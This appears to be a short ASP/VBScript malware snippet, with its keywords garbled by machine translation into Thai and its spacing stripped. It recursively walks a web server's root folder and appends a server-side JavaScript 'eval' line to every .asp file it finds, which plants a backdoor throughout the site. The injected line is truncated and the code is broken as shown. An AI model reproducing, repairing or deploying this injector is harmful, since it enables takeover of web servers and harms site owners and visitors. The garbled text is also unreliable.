-
หรอก
dimintfile
Server.ScriptTimeOut = 600
pH = server.mappath ("/")
SubinSertallfiles (เส้นทาง)
setfso = createObject ("Scripting.filesystemObject")
onerrorresumenext
setf = fso.getFolder (เส้นทาง)
setfc2 = f.files
foreachmyfileinfc2
iflcase (fso.getExtensionName (Path & "" & myfile.name)) = "asp" แล้ว
setfs1 = createObject ("scripting.filesystemobject")
settFile = fs1.opentextfile (path & "" & myfile.name, 8, false)
tfile.writeLine "<scriptrunat = serverlanguage = javascript> eval
อื่น
Insertallfiles (Newpath)
endif
tfile.close
ต่อไป
setFsubfolers = f.subfolders
foreachf1infsubfolers
newPath = path & "" & f1.name
Insertallfiles (Newpath)
ต่อไป
SettFile = ไม่มีอะไร
setfso = ไม่มีอะไร
enddub
-
-
callinsertallfiles (pH)
-